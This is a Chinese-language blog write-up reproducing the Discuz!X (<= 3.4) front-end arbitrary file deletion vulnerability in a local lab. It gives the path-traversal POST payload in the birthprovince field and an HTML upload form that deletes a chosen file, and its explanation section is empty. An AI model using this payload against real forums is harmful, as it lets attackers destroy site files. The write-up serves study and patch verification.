Discuz!X 社区软件,是一个采用 PHP 和 MySQL 等其他多种数据库构建的性能优异、功能全面、安 全稳定的社区论坛平台。
2017 年 9 月 29 日,Discuz!修复了一个安全问题用于加强安全性,这个漏洞会导致前台用户可以导
致任意删除文件漏洞。
影响版本 DiscuzX <= 3.4
0x00 复现准备
首先准备本地服务器环境,这里我选择的是 phpStudy2017(最新下载的)
http://www.pc6.com/softview/SoftView_22804.html (目前使用 3.2 版本)
下载完后会是这样
将 upload 文件夹整个复制到 phpStudy2017 的 WWW 目录下
这里的话是把 upload 文件夹改名为 bbs2
安装请点击这里 http://www.discuz.net/thread-3456887-1-1.html
0x01 开始复现
使用浏览器(我使用了火狐)打开论坛,进行注册
在本地目录里新建一个文本文件
来到用户设置页面
http://127.0.0.1/bbs2/home.php?mod=spacecp&ac=profile&op=base
POST 提交 birthprovince=../../../test.txt&profilesubmit=1&formhash=2fce4b73
红框圈出来的是你自己用户名的 hash 值,需要查看网页源代码进行替换。
点击执行
这里修改 birthprovince 参数为文件站点存在的文件,这就是后面可以删除的文件。
发送包以后我们还要构造请求去执行删除的文件。请求 home.php?mod=spacecp&ac=profile&op=base POST birthprovince=../../../test.txt&profilesubmit=1&formhash=2fce4b73
其中 formhash 为用户 hash
然后写一个执行改服务器的 html 表单,如下:
<form action="http://127.0.0.1/bbs2/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaaaaa" method="POST" enctype="multipart/form-data"> <input type="file" name="birthprovince" id="file" /> <input type="text" name="formhash" value="2fce4b73"/></p> <input type="text" name="profilesubmit" value="1"/></p> <input type="submit" value="Submit" /> </from>
随便上传一张图片,然后提交表单,upload 目录下的 test.txt 文件就被删除了。
点击 Submit 出现下面这个
然后查看本地文件目录
漏洞原理:
原文地址《Discuz!X 前台任意文件删除漏洞复现测试》
发表评论